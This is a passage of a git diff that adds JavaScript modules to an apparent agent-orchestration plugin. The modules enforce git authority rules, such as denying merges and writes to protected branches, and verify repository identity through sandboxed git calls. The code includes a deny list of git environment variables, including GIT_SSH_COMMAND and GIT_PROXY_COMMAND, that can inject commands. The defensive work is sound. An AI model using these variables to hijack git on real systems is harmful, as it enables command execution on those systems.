ownLaneRef; + if (hasOwn(object, 'manifest_digest_hex') && identity !== undefined) { + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + ownLaneRef = `${LANE_REF_PREFIX}${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${identity.assignment_id}`; + } + + const result = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, + ref_class: 'user_protected', protected: true, default_branch_target: false, + code: 'protected_ref_write_denied', + }; + if (refGrammarDenied(refValue)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } else if (capturedTest(CANDIDATE_REF_PATTERN, refValue)) { + result.ref_class = 'platform_run_owned'; + result.code = identity !== undefined + && refValue === `${CANDIDATE_REF_NAMESPACE}${identity.run_id}/${CANDIDATE_REF_LEAF}` + ? 'protected_ref_write_denied' : 'branch_namespace_violation'; + } else if (capturedTest(LANE_REF_PATTERN, refValue)) { + if (ownLaneRef !== undefined && OBJECT_IS(refValue, ownLaneRef)) { + result.ref_class = 'worker_lane'; + result.protected = false; + result.code = 'authority_ok'; + } else { + result.code = 'branch_namespace_violation'; + } + } else if (refValue.startsWith('refs/tags/') || refValue.startsWith('refs/notes/') + || refValue.startsWith('refs/remotes/')) { + result.code = 'protected_ref_write_denied'; + } else if (refValue.startsWith(HEADS_PREFIX) && protectedNames.has(refValue.slice(HEADS_PREFIX.length))) { + result.default_branch_target = true; + result.code = 'default_branch_target_denied'; + } else if (!refValue.startsWith(HEADS_PREFIX)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } + return freezeRecord( + ['schema', 'version', 'ref_class', 'protected', 'default_branch_target', 'code'], + result, + ); +} + +export function isProtectedRefV1(input) { + return classifyRefV1(input).protected === true; +} + +export function classifyLaneHistoryV1(input) { + const path = 'history'; + const object = assertClosedObject(input, HISTORY_ALLOWED_KEYS, path); + requireKeys(object, HISTORY_ALLOWED_KEYS, path); + const counts = optOwn(object, 'parent_counts'); + assertNotProxy(counts, `${path}.parent_counts`); + if (!IS_ARRAY(counts) || counts.length < 1 || counts.length > MAX_HISTORY_COMMITS) { + deny('out_of_range', `${path}.parent_counts`); + } + let merge = false; + for (let i = 0; i < counts.length; i += 1) { + const count = ownDataValue(counts, STRING(i), `${path}.parent_counts[${i}]`); + if (typeof count !== 'number' || !IS_INT(count) || count < 0 || count > MAX_PARENT_COUNT) { + deny('out_of_range', `${path}.parent_counts`); + } + if (count >= 2) merge = true; + } + return freezeRecord(['schema', 'version', 'verdict', 'code', 'path', 'message'], { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + verdict: merge ? 'denied' : 'allowed', + code: merge ? 'merge_history_denied' : 'authority_ok', + path: 'history', + message: MSG[merge ? 'merge_history_denied' : 'authority_ok'], + }); +} + +export function assertAuthorityPostureV1(input) { + const path = 'capability'; + const object = assertClosedObject(input, POSTURE_ALLOWED_KEYS, path); + if (!hasOwn(object, 'merge_authority') || !hasOwn(object, 'create_pr_posture')) { + deny('missing_key', path); + } + if (hasOwn(object, 'schema') + && optOwn(object, 'schema') !== PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID) { + deny('authority_posture_mismatch', `${path}.schema`); + } + const mergeAuthority = optOwn(object, 'merge_authority'); + if (!capturedIncludes(MERGE_AUTHORITIES, mergeAuthority)) { + deny('authority_posture_mismatch', `${path}.merge_authority`); + } + const createPr = optOwn(object, 'create_pr_posture'); + if (!capturedIncludes(CREATE_PR_POSTURES, createPr)) { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + let provider; + if (hasOwn(object, 'provider')) { + provider = optOwn(object, 'provider'); + if (!isKnownProvider(provider)) deny('authority_posture_mismatch', `${path}.provider`); + } + if (createPr === 'non_authoritative_cloud_only' && provider !== 'cursor-cloud') { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + return freezeRecord(['merge_authority', 'create_pr_posture', 'provider'], { + merge_authority: mergeAuthority, + create_pr_posture: createPr, + provider, + }); +} + +function classifyRefFromOperation(object, identity) { + if (!hasOwn(object, 'ref')) return undefined; + const refRequest = { ref: optOwn(object, 'ref') }; + if (identity !== undefined) refRequest.identity = { + repository_path: optOwn(optOwn(object, 'identity'), 'repository_path'), + base_sha: identity.base_sha, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + }; + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex']) { + if (hasOwn(object, key)) refRequest[key] = optOwn(object, key); + } + return classifyRefV1(refRequest); +} + +function receipt(values) { + const minted = freezeRecord(RECEIPT_KEYS, { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + message: MSG[values.code] ?? MSG.invalid_format, + ref_class: null, + default_branch_target: false, + ...values, + }); + WEAKSET_ADD.call(TRUSTED_POLICY_RECEIPTS, minted); + return minted; +} + +function assertReceiptIdentity(object, path) { + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', path, () => assertRunId(runId, path)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', path); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', path, () => assertBaseSha(baseSha, path)); + return { runId, assignmentId, baseSha }; +} + +function assertTrustedPolicyReceipt(verdict, path) { + const object = assertClosedObject(verdict, RECEIPT_KEYS, path); + requireKeys(object, RECEIPT_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', path); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', path); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', path); + const operation = optOwn(object, 'operation'); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('invalid_format', path); + const verdictValue = optOwn(object, 'verdict'); + if (!capturedIncludes(AUTHORITY_VERDICTS, verdictValue)) deny('invalid_format', path); + const code = optOwn(object, 'code'); + if (typeof code !== 'string' || !hasOwn(MSG, code)) deny('invalid_format', path); + if (optOwn(object, 'message') !== MSG[code]) deny('invalid_format', path); + const refClass = optOwn(object, 'ref_class'); + if (refClass !== null && !capturedIncludes(REF_CLASS_VALUES, refClass)) deny('invalid_format', path); + const defaultTarget = optOwn(object, 'default_branch_target'); + if (typeof defaultTarget !== 'boolean') deny('invalid_type', path); + const receiptPath = optOwn(object, 'path'); + if (typeof receiptPath !== 'string' || BYTE_LENGTH(receiptPath, 'utf8') > MAX_AUTHORITY_KEY_BYTES) { + deny('invalid_format', path); + } + const identity = assertReceiptIdentity(object, path); + let trusted = false; + try { trusted = WEAKSET_HAS.call(TRUSTED_POLICY_RECEIPTS, object); } catch { deny('invalid_type', path); } + if (trusted !== true) deny('invalid_type', path); + return { + actor, operation, verdict: verdictValue, code, ref_class: refClass, ...identity, + }; +} + +function assertEvidenceContext(context, path) { + const object = assertClosedObject(context, EVIDENCE_CONTEXT_ALLOWED_KEYS, path); + const factId = hasOwn(object, 'fact_id') ? optOwn(object, 'fact_id') : 'f-authority'; + const discrepancyId = hasOwn(object, 'discrepancy_id') ? optOwn(object, 'discrepancy_id') : 'd-authority'; + const sequence = hasOwn(object, 'sequence') ? optOwn(object, 'sequence') : 0; + if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', path); + if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { + deny('invalid_format', path); + } + if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { + deny('out_of_range', path); + } + return { factId, discrepancyId, sequence }; +} + +export function classifyGitOperationV1(input) { + const path = 'request'; + const object = assertClosedObject(input, OPERATION_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, OPERATION_REQUEST_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', `${path}.version`); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', `${path}.actor`); + const operation = optOwn(object, 'operation'); + if (typeof operation !== 'string') deny('invalid_type', `${path}.operation`); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('unknown_git_operation', `${path}.operation`); + const identity = bindAuthorityIdentityV1(optOwn(object, 'identity')); + if (hasOwn(object, 'capability')) assertAuthorityPostureV1(optOwn(object, 'capability')); + + const deniedCode = DENIED_OPERATION_CODES[operation]; + if (deniedCode !== undefined) { + return receipt({ + verdict: 'denied', code: deniedCode, path: 'operation', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (!capturedIncludes(ACTOR_OPERATIONS[actor], operation)) { + return receipt({ + verdict: 'denied', code: 'authority_posture_mismatch', path: 'actor', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (hasOwn(object, 'history')) { + const history = classifyLaneHistoryV1(optOwn(object, 'history')); + if (history.verdict === 'denied') { + return receipt({ + verdict: 'denied', code: 'merge_history_denied', path: 'history', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + } + + const write = operation !== 'read_only_inspect'; + if (write && !hasOwn(object, 'ref')) deny('missing_key', `${path}.ref`); + const classified = classifyRefFromOperation(object, identity); + if (classified !== undefined && write) { + const allowedClass = operation === 'compose_candidate_non_authoritative' + ? 'platform_run_owned' : 'worker_lane'; + const allowed = operation === 'compose_candidate_non_authoritative' + ? classified.ref_class === 'platform_run_owned' && classified.code === 'protected_ref_write_denied' + : classified.ref_class === 'worker_lane' && classified.code === 'authority_ok'; + if (!allowed) { + return receipt({ + verdict: 'denied', + code: classified.default_branch_target ? 'default_branch_target_denied' : classified.code, + path: 'ref', actor, operation, ref_class: classified.ref_class, + default_branch_target: classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: allowedClass, run_id: identity.run_id, assignment_id: identity.assignment_id, + base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: classified === undefined ? null : classified.ref_class, + default_branch_target: classified === undefined ? false : classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function evidenceMethod(code) { + if (code === 'merge_history_denied') return 'merge_commit_absence'; + if (code === 'default_branch_target_denied' || code === 'protected_ref_write_denied' + || code === 'branch_namespace_violation') { + return 'protected_ref_snapshot_compare'; + } + return 'ancestry_check'; +} + +export function projectAuthorityEvidenceV1(verdict, context = {}) { + const path = 'evidence'; + try { + const receipt = assertTrustedPolicyReceipt(verdict, path); + const { factId, discrepancyId, sequence } = assertEvidenceContext(context, `${path}.context`); + const denied = receipt.verdict === 'denied'; + const payload = { base_sha: receipt.baseSha, head_sha: receipt.baseSha }; + const fact = freezeData({ + fact_id: factId, + fact_kind: 'git_identity', + status: denied ? 'failed' : 'verified', + code: 'host_observed', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + subject: 'git-authority', + authority: 'platform_git', + method: evidenceMethod(receipt.code), + input_digest: digestOf({ + actor: receipt.actor, operation: receipt.operation, ref_class: receipt.ref_class, + }), + output_digest: digestOf({ verdict: receipt.verdict, code: receipt.code }), + exit_code: denied ? 1 : 0, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); + const discrepancy = denied ? freezeData({ + discrepancy_id: discrepancyId, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: receipt.runId, + assignment_id: receipt.assignmentId, + sequence, + claim_ids: [], + fact_ids: [factId], + artifact_digests: [], + }) : null; + return freezeData({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + facts: [fact], + discrepancies: discrepancy === null ? [] : [discrepancy], + }); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('invalid_type', path); + } +} + +capturedFreeze(parseGitAuthorityPolicyV1); +capturedFreeze(bindAuthorityIdentityV1); +capturedFreeze(expectedRunBranchNameV1); +capturedFreeze(expectedLaneRefV1); +capturedFreeze(expectedCandidateRefV1); +capturedFreeze(isValidRunBranchNameV1); +capturedFreeze(isRunOwnedCandidateRefV1); +capturedFreeze(classifyRefV1); +capturedFreeze(isProtectedRefV1); +capturedFreeze(classifyLaneHistoryV1); +capturedFreeze(assertAuthorityPostureV1); +capturedFreeze(classifyGitOperationV1); +capturedFreeze(projectAuthorityEvidenceV1); diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs new file mode 100644 index 0000000..8458757 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -0,0 +1,1371 @@ +// GitIdentityV1 — independently derived repository identity, base-ref, and +// candidate-head facts (ADR 0001 identifiers `immutable_repo_base_identity`, +// `exact_identities`, `bounded_evidence`, +// `gate_a_exact_run_child_provider_workspace_git_identity`). +// +// Additive v3 module for W13-P14. It observes Git from the local repository +// through argv execution and never from provider claims. It binds repository +// path identity, expected base ref/name, exact base SHA, candidate head SHA, +// object types, reachability, ancestry, merge-base identity, and +// rewritten/stale history into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 +// snapshots. It does not own P15 scope/read-only/merge-commit checks, P16A +// trusted command policy, P28 Git mutation, or provider/workspace dispatch. +// +// Observation is fail-closed: spawn is argv-only (no shell), the child +// environment is a closed map that cannot inherit GIT_* / config / replace / +// graft influence, output/time/command counts are bounded, and typed errors +// never echo hostile bytes. Effective local, worktree, include, and includeIf +// config is observed through Git-native listing before ref/object/ancestry +// reads and again before a verified result is returned. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { + lstat as nodeLstat, + readdir as nodeReaddir, + readFile as nodeReadFile, + realpath as nodeRealpath, +} from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedOwnKeys, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const GIT_IDENTITY_SCHEMA_ID = 'codex-co-engineer.git-identity.v1'; +export const GIT_IDENTITY_VERSION = 1; +export const GIT_EXECUTABLE = '/usr/bin/git'; + +export const MAX_GIT_COMMANDS = 20; +export const MAX_GIT_ARGS = 32; +export const MAX_GIT_ARG_BYTES = 256; +export const MAX_GIT_OUTPUT_BYTES = 4096; +export const MAX_GIT_TIME_MS = 5_000; +export const MAX_GIT_TOTAL_TIME_MS = 20_000; +export const MAX_BASE_REF_BYTES = 128; +export const MAX_BASE_REF_SEGMENTS = 6; + +export const GIT_IDENTITY_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', +]); +export const GIT_IDENTITY_REQUEST_REQUIRED_KEYS = GIT_IDENTITY_REQUEST_ALLOWED_KEYS; +export const GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const GIT_IDENTITY_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_ref', 'base_sha', 'head_sha', + 'merge_base_sha', 'base_object_type', 'head_object_type', + 'worktree_head_ref', 'ancestor', 'duration_ms', +]); +export const GIT_IDENTITY_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const GIT_IDENTITY_STATUSES = capturedFreeze(['failed', 'verified']); + +export const GIT_IDENTITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_ref_denied', + 'bounds_exceeded', 'config_influence_denied', 'detached_ref_denied', + 'env_influence_denied', 'exotic_prototype_denied', 'grafts_denied', + 'hostile_name_denied', 'invalid_format', 'invalid_type', 'missing_key', + 'non_commit_object', 'non_enumerable_property_denied', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'replace_refs_denied', 'repository_invalid', + 'repository_missing', 'rewritten_history', 'stale_base', 'symbolic_ref_drift', + 'symbol_key_denied', 'unborn_ref_denied', 'unknown_key', 'unreachable_head', + 'wrong_merge_base', 'git_execution_failed', +]); + +const PRIVATE_BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,3}$/u; +const PRIVATE_OBJECT_TYPE_PATTERN = /^(?:blob|commit|tag|tree)$/u; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +export const GIT_BASE_REF_PATTERN = new RegExp( + PRIVATE_BASE_REF_PATTERN.source, PRIVATE_BASE_REF_PATTERN.flags, +); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const MATH_MIN = Math.min; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const READDIR = nodeReaddir; +const READFILE = nodeReadFile; +const REALPATH = nodeRealpath; +const REFLECT_APPLY = Reflect.apply; +const IS_PROXY = utilTypes.isProxy; +const MAX_LAYOUT_FILE_BYTES = 4096; +const MAX_CONFIG_FILE_BYTES = 65_536; +const PROVENANCE_CONFIG_PATTERN = /(?:^|\n)[ \t]*(?:promisor|partialclonefilter|partialclone)[ \t]*=/u; +const EFFECTIVE_PROVENANCE_KEY_PATTERN = + /^(?:extensions\.partialclone|remote\..+\.(?:promisor|partialclonefilter))$/iu; +const EFFECTIVE_CONFIG_LIST_ARGS = capturedFreeze([ + 'config', '--includes', '--show-origin', '--show-scope', '--list', '-z', +]); + +const CLOSED_GIT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +export const GIT_CLOSED_ENV = CLOSED_GIT_ENV; + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; git identity records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +async function lstatOrNull(target) { + try { + return await LSTAT(target); + } catch { + return null; + } +} + +function oneLayoutLine(text, path, code) { + if (typeof text !== 'string') { + fail(code, path, `${path} is not a trusted git layout.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return value; +} + +function resolveLayoutPath(raw, fromDir, path, code) { + if (typeof raw !== 'string' || raw.length === 0 || raw.includes('\0')) { + fail(code, path, `${path} is not a trusted git layout.`); + } + const resolved = PATH_IS_ABSOLUTE(raw) ? PATH_RESOLVE(raw) : PATH_RESOLVE(fromDir, raw); + if (!PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return resolved; +} + +function isDirectChildPath(parent, child) { + const prefix = parent.endsWith('/') ? parent : `${parent}/`; + if (!child.startsWith(prefix)) return false; + const rest = child.slice(prefix.length); + return rest.length > 0 && !rest.includes('/') && rest !== '.' && rest !== '..'; +} + +async function readBoundedUtf8(target, maxBytes, path, code) { + const metadata = await lstatOrNull(target); + if (metadata === null) return null; + if (isSymlinkStat(metadata) || typeof metadata.isFile !== 'function' || !metadata.isFile()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof metadata.size === 'number' && metadata.size > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + let text; + try { + text = await READFILE(target, { encoding: 'utf8' }); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (typeof text !== 'string' || BUFFER_BYTE_LENGTH(text) > maxBytes) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return text; +} + +async function realpathOf(target, path, code) { + try { + return await REALPATH(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } +} + +async function assertDirectoryNotSymlink(target, path, code) { + let metadata; + try { + metadata = await LSTAT(target); + } catch { + fail(code, path, `${path} is not a trusted git layout.`); + } + if (isSymlinkStat(metadata) || typeof metadata.isDirectory !== 'function' || !metadata.isDirectory()) { + fail(code, path, `${path} is not a trusted git layout.`); + } + return realpathOf(target, path, code); +} + +async function assertNoExternalObjectProvenance(gitCommonDir, path) { + await assertDirectoryNotSymlink( + PATH_JOIN(gitCommonDir, 'objects'), path, 'config_influence_denied', + ); + const infoDir = PATH_JOIN(gitCommonDir, 'objects', 'info'); + const alternateNames = ['alternates', 'http-alternates']; + for (let index = 0; index < alternateNames.length; index += 1) { + const target = PATH_JOIN(infoDir, alternateNames[index]); + if (await lstatOrNull(target) !== null) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + const packDir = PATH_JOIN(gitCommonDir, 'objects', 'pack'); + const packMeta = await lstatOrNull(packDir); + if (packMeta !== null) { + if (isSymlinkStat(packMeta) + || typeof packMeta.isDirectory !== 'function' + || !packMeta.isDirectory()) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + let names; + try { + names = await READDIR(packDir); + } catch { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index]; + if (typeof name === 'string' && name.endsWith('.promisor')) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } + } + } + const configText = await readBoundedUtf8( + PATH_JOIN(gitCommonDir, 'config'), MAX_CONFIG_FILE_BYTES, path, 'config_influence_denied', + ); + if (configText !== null && PROVENANCE_CONFIG_PATTERN.test(configText)) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); + } +} + +function denyExternalObjectProvenance(path) { + fail('config_influence_denied', path, + `${path} must not observe external object provenance.`); +} + +function isProhibitedEffectiveConfigKey(key) { + if (typeof key !== 'string' || key.length === 0) return false; + EFFECTIVE_PROVENANCE_KEY_PATTERN.lastIndex = 0; + return EFFECTIVE_PROVENANCE_KEY_PATTERN.test(key); +} + +function assertNoProhibitedEffectiveConfig(stdout, path) { + if (typeof stdout !== 'string') denyExternalObjectProvenance(path); + if (stdout.length === 0) return; + const fields = stdout.split('\0'); + let limit = fields.length; + if (limit > 0 && fields[limit - 1] === '') limit -= 1; + if (limit % 3 !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + for (let index = 0; index < limit; index += 3) { + const record = fields[index + 2]; + if (typeof record !== 'string' || record.length === 0) continue; + const newline = record.indexOf('\n'); + const key = newline === -1 ? record : record.slice(0, newline); + if (isProhibitedEffectiveConfigKey(key)) denyExternalObjectProvenance(path); + } +} + +async function assertNoEffectiveProvenanceConfig(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, ...EFFECTIVE_CONFIG_LIST_ARGS], + `${path}.config`, + ); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + assertNoProhibitedEffectiveConfig(result.stdout, path); +} + +function parseGitFile(contents, worktreePath, path) { + const line = oneLayoutLine(contents, path, 'repository_invalid'); + if (line.length < 7 || line.slice(0, 7) !== 'gitdir:') { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + return resolveLayoutPath(line.slice(7).trim(), worktreePath, path, 'repository_invalid'); +} + +async function assertLinkedWorktree(repositoryPath, gitFilePath, observedGitDir, path) { + const gitFileText = await readBoundedUtf8( + gitFilePath, MAX_LAYOUT_FILE_BYTES, path, 'repository_invalid', + ); + if (gitFileText === null) { + fail('repository_invalid', path, `${path} is not a trusted git layout.`); + } + const declaredGitDir = parseGitFile(gitFileText, repositoryPath, 